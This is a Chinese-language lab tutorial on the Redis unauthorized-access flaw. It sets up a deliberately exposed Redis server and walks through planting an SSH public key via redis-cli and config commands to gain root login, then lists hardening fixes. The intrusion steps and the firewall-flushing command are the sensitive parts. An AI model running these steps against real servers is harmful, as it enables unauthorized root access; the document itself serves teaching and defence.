Redis介绍
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
未授权访问漏洞介绍
Redis
默认的情况下会绑定在0.0.0.0:6379
。如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis
的情况下,利用 Redis
自身的提供的config
命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
漏洞危害
- 攻击者无需进行身份认证即可访问内容数据,这种情况会导致数据泄露或者数据清除
- 攻击者可以通过
eval
来执行lua代码或者通过数据备份功能向磁盘中写入后门 - 如果redis运行的权限是root,那么攻击者可以给root用户写入ssh公钥文件,直接通过ssh登陆目标服务器
环境搭建
1.首先我们下载Redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2.解包并编译
tar xzf redis-3.2.11.tar.gz
进入目录编译
cd redis-3.2.11
make
如下即是编译成功:
3.编译成功之后,我们进入src目录,将redis-server
和redis-cli
拷贝到/usr/bin
目录下(以后启动的时候不用每次都进入安装目录了)
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
4.查看复制过去的文件
ls /usr/bin/ | grep redis
5.返回到redis-3.2.11的根目录下,将redis.conf
拷贝到/etc/
目录下
cp redis.conf /etc/
6.编辑复制到/etc/
目录中的redis.conf
gedit /etc/redis.conf
没有gedit的可以用vi
vi /etc/redis.conf
然后将ip绑定去除,在bind 127.0.0.1
前添加注释。
关闭保护模式,允许本地以外的主机远程登陆redis服务,将protected-mode yes
中yes的改为no。
7.使用/etc/
目录下的redis.conf文件中的配置启动redis服务
redis-server /etc/redis.conf
8.我们查看一下我们的ssh是否启动,方便我们之后的测试,这里我们的ssh已经启动。
没有启动可以使用如下命令启动
service sshd start
9.配置完成之后我们将这台主机克隆为两个主机,一个为攻击机,一个为靶机。
漏洞复现
1.连通性测试
我们通过ifconfig
,我们两台机器的ip如下:
192.168.252.174
192.168.252.136
经过我们的测试,两台机器可以ping通
2.我们将ip地址为192.168.252.136
的主机为靶机,192.168.252.174
为攻击机。
**3.我们打开靶机中的redis服务:redis-server /etc/redis.conf**
4.我们重新打开一个命令行,在靶机中执行mkdir /root/.ssh
,这是为了创建ssh公钥的存放目录
5.我们打开攻击机,在这台机器中生成公钥和私钥,将密码设置为空
6.我们进入到攻击机中.ssh
目录下,将我们生成的公钥保存到alexsel.txt
中。
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > alexsel.txt
7.接着我们将alexsel.txt
写入redis中,这里我们使用redis-cli -h IP
命令连接靶机,将文件写入。
我们在连接的时候出现了一些问题,这里问题是由于系统的iptables防火墙拦截了我们的请求,我们在这里可以使用两种方式来解决
方法一:添加规则,放行我们的请求:
iptables -N REDIS
iptables -A REDIS -s 192.168.10.1 -j ACCEPT
iptables -A REDIS -s 192.168.10.2 -j ACCEPT
iptables -A REDIS -j LOG --log-prefix "unauth-redis-access"
iptables -A REDIS -j REJECT --reject-with icmp-port-unreachable
iptables -I INPUT -p tcp --dport 6379 -j REDIS
192.168.10.1 192.168.10.2 为需要访问的ip (包括redis服务器本身ip,不放本机访问不了)
方法二:删除过滤规则
iptables -F
问题解决之后我们就可以成功的执行命令了:
cat alexsel.txt | redis-cli -h 192.168.252.136 -x set crack
8.接着我们在攻击机上远程登录靶机的redis服务并获得redis的备份路径。
登录redis服务
redis-cli -h 192.168.252.136
拿到备份路径
config get dir
9.我们更改redis备份的路径为ssh公钥存放目录,一般默认为/root/.ssh
。
10.设置上传公钥的备份文件名字为authorized_keys
并查看是否设置成功。
11.如上配置均为成功,我们就保存退出。
12.我们在攻击机中使用ssh免密登录靶机,我们这里的靶机的ssh是已经打开的。
13.登录成功,我们在攻击机上查看ip
这里如果有登录不成功的情况,我们需要在靶机中修改配置文件,打开gedit /etc/ssh/sshd_config
这个是登录root用户的情况下需要修改的参数,如果不是不需要修改。
漏洞修复
禁止远程的高危命令
修改redis的配置文件redis.conf来禁用远程修改DB文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
低权限运行redis服务
我们为redis服务创建一个单独的user和home目录并配置禁止登录
groupadd -r redis && useradd -r -g redis redis
为redis添加密码验证
我们在redis配置文件中配置密码验证
requirepass mypassword
禁止外网访问redis
我们可以通过修改redis.conf文件中的配置来使得服务只能在当前的主机可用,这个我们最开始的时候为了实验,我们在配置文件中将其注释了。
bind 127.0.0.1
保证authorized_keys文件的安全
为了保证安全,我们应该组织其他用户添加新的公钥。我们将authorized_keys的权限设置为对拥有者只读,其他用户没有权限
chmod 400 ~/.ssh/authorized_keys
为保证authorized_keys
的权限不会被修改,我们还需要配置该文件的immutable位权限
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名~/.ssh
,然后新建新的~/.ssh
目录和authorized_keys
文件。要避免这种情况,需要设置~./ssh
的immutable位权限
chattr +i ~/.ssh
如果需要添加新的公钥,需要移除authorized_keys
的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上immutable位权限